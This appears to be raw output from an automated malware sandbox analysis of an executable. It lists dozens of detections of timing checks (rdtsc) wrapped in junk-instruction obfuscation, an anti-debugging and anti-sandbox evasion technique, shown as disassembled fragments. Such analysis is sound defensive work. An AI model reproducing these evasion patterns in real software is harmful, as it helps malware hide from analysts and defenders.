Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32EB7D second address: 32EB82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6350 second address: 4B6354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6354 second address: 4B6358 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B659A second address: 4B659E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6832 second address: 4B6836 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B97BE second address: 4B9804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pop esi 0x00000009 popad 0x0000000a push eax 0x0000000b jnp 00007FFB70EEC030h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 jmp 00007FFB70EEC036h 0x0000001b jnp 00007FFB70EEC028h 0x00000021 popad 0x00000022 mov eax, dword ptr [eax] 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9804 second address: 4B9808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B997F second address: 4B9A39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FFB70EEC031h 0x0000000d nop 0x0000000e pushad 0x0000000f mov ebx, 6948B8CCh 0x00000014 and ebx, dword ptr [ebp+122D38CEh] 0x0000001a popad 0x0000001b push 00000000h 0x0000001d or esi, dword ptr [ebp+122D1ED8h] 0x00000023 push B9C72881h 0x00000028 pushad 0x00000029 pushad 0x0000002a push ebx 0x0000002b pop ebx 0x0000002c jmp 00007FFB70EEC02Fh 0x00000031 popad 0x00000032 jmp 00007FFB70EEC02Ah 0x00000037 popad 0x00000038 add dword ptr [esp], 4638D7FFh 0x0000003f push 00000000h 0x00000041 push ebx 0x00000042 call 00007FFB70EEC028h 0x00000047 pop ebx 0x00000048 mov dword ptr [esp+04h], ebx 0x0000004c add dword ptr [esp+04h], 00000019h 0x00000054 inc ebx 0x00000055 push ebx 0x00000056 ret 0x00000057 pop ebx 0x00000058 ret 0x00000059 mov dx, cx 0x0000005c push 00000003h 0x0000005e call 00007FFB70EEC039h 0x00000063 clc 0x00000064 pop edx 0x00000065 push 00000000h 0x00000067 xor ecx, 608E84B4h 0x0000006d push 00000003h 0x0000006f mov edi, eax 0x00000071 call 00007FFB70EEC029h 0x00000076 push eax 0x00000077 push edx 0x00000078 jg 00007FFB70EEC028h 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9A39 second address: 4B9A5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD97Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d jmp 00007FFB70DAD97Dh 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9A5D second address: 4B9A8A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 je 00007FFB70EEC026h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007FFB70EEC036h 0x00000015 mov eax, dword ptr [eax] 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9A8A second address: 4B9A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9A8E second address: 4B9AD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC030h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FFB70EEC02Ah 0x0000000e popad 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jno 00007FFB70EEC02Ah 0x00000019 pop eax 0x0000001a mov edi, dword ptr [ebp+122D39A2h] 0x00000020 lea ebx, dword ptr [ebp+1245E6C2h] 0x00000026 mov dword ptr [ebp+122D2A30h], edi 0x0000002c push eax 0x0000002d jng 00007FFB70EEC02Eh 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CAA08 second address: 4CAA0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D97A2 second address: 4D97D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FFB70EEC026h 0x00000009 js 00007FFB70EEC026h 0x0000000f push edi 0x00000010 pop edi 0x00000011 jmp 00007FFB70EEC039h 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D97D0 second address: 4D97D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADAF5 second address: 4ADAF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ADAF9 second address: 4ADAFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7F66 second address: 4D7F7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB70EEC034h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7F7E second address: 4D7F88 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80AF second address: 4D80B6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D84AA second address: 4D84AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D84AE second address: 4D84C2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FFB70EEC02Ah 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c jl 00007FFB70EEC02Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D84C2 second address: 4D84CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D84CF second address: 4D84D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D84D3 second address: 4D8504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB70DAD989h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jo 00007FFB70DAD976h 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CEAC0 second address: 4CEAC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CEAC4 second address: 4CEAD1 instructions: 0x00000000 rdtsc 0x00000002 je 00007FFB70DAD976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8908 second address: 4D890C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D890C second address: 4D8910 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8910 second address: 4D891C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FFB70EEC026h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8F4D second address: 4D8F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FFB70DAD97Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8F62 second address: 4D8F66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8F66 second address: 4D8F6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8F6C second address: 4D8F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c jg 00007FFB70EEC026h 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9355 second address: 4D9374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB70DAD985h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9374 second address: 4D937A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D937A second address: 4D938D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FFB70DAD976h 0x0000000d jbe 00007FFB70DAD976h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9630 second address: 4D9644 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FFB70EEC046h 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007FFB70EEC026h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9644 second address: 4D9648 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC68A second address: 4DC69B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC02Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC69B second address: 4DC6A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FFB70DAD976h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC6A5 second address: 4DC6A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD7BC second address: 4DD7D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB70DAD984h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD97B second address: 4DD981 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DEA77 second address: 4DEA9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 jne 00007FFB70DAD985h 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007FFB70DAD976h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DEA9D second address: 4DEAC5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FFB70EEC026h 0x00000008 jnp 00007FFB70EEC026h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 pushad 0x00000012 push esi 0x00000013 jmp 00007FFB70EEC033h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DEAC5 second address: 4DEACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3BDF second address: 4E3C0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC039h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FFB70EEC02Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3D5E second address: 4E3D68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FFB70DAD976h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3D68 second address: 4E3D9C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FFB70EEC026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FFB70EEC031h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 jmp 00007FFB70EEC033h 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7E55 second address: 4E7E5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7F28 second address: 4E7F3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB70EEC032h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7F3E second address: 4E7F56 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FFB70DAD97Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7F56 second address: 4E7F70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC036h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8538 second address: 4E853C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E853C second address: 4E8542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8542 second address: 4E8548 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8548 second address: 4E8564 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC031h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E859F second address: 4E85D5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FFB70DAD97Ch 0x0000000e xchg eax, ebx 0x0000000f mov si, 5501h 0x00000013 nop 0x00000014 jne 00007FFB70DAD984h 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push edi 0x0000001e pushad 0x0000001f popad 0x00000020 pop edi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E85D5 second address: 4E85DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8769 second address: 4E876F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8AD3 second address: 4E8ADE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FFB70EEC026h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8ADE second address: 4E8B19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FFB70DAD978h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 push eax 0x00000025 jng 00007FFB70DAD97Bh 0x0000002b mov esi, 3CEC73A1h 0x00000030 pop esi 0x00000031 xchg eax, ebx 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8B19 second address: 4E8B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8FE4 second address: 4E9066 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007FFB70DAD978h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push edi 0x00000027 call 00007FFB70DAD978h 0x0000002c pop edi 0x0000002d mov dword ptr [esp+04h], edi 0x00000031 add dword ptr [esp+04h], 00000016h 0x00000039 inc edi 0x0000003a push edi 0x0000003b ret 0x0000003c pop edi 0x0000003d ret 0x0000003e sbb edi, 3F93DF50h 0x00000044 push 00000000h 0x00000046 push 00000000h 0x00000048 push ebx 0x00000049 call 00007FFB70DAD978h 0x0000004e pop ebx 0x0000004f mov dword ptr [esp+04h], ebx 0x00000053 add dword ptr [esp+04h], 0000001Ah 0x0000005b inc ebx 0x0000005c push ebx 0x0000005d ret 0x0000005e pop ebx 0x0000005f ret 0x00000060 xchg eax, ebx 0x00000061 js 00007FFB70DAD988h 0x00000067 push eax 0x00000068 push edx 0x00000069 jnc 00007FFB70DAD976h 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9066 second address: 4E906A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9AE3 second address: 4E9AE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9AE9 second address: 4E9B04 instructions: 0x00000000 rdtsc 0x00000002 js 00007FFB70EEC026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007FFB70EEC02Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB6A1 second address: 4EB704 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007FFB70DAD976h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007FFB70DAD978h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push esi 0x00000030 call 00007FFB70DAD978h 0x00000035 pop esi 0x00000036 mov dword ptr [esp+04h], esi 0x0000003a add dword ptr [esp+04h], 00000018h 0x00000042 inc esi 0x00000043 push esi 0x00000044 ret 0x00000045 pop esi 0x00000046 ret 0x00000047 mov esi, edx 0x00000049 push 00000000h 0x0000004b mov edi, dword ptr [ebp+122D2466h] 0x00000051 xchg eax, ebx 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 push esi 0x00000056 pop esi 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB704 second address: 4EB716 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EDFC1 second address: 4EDFCA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC89D second address: 4EC8A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED352 second address: 4ED358 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EDFCA second address: 4EDFF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 and esi, 349672A1h 0x0000000f push 00000000h 0x00000011 clc 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FFB70EEC038h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC8A2 second address: 4EC8A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED358 second address: 4ED35C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EDFF9 second address: 4EDFFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC8A8 second address: 4EC8AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED35C second address: 4ED360 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC8AC second address: 4EC8CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC032h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F3423 second address: 4F3432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007FFB70DAD976h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F4523 second address: 4F453A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnp 00007FFB70EEC026h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F4740 second address: 4F474F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F474F second address: 4F4753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
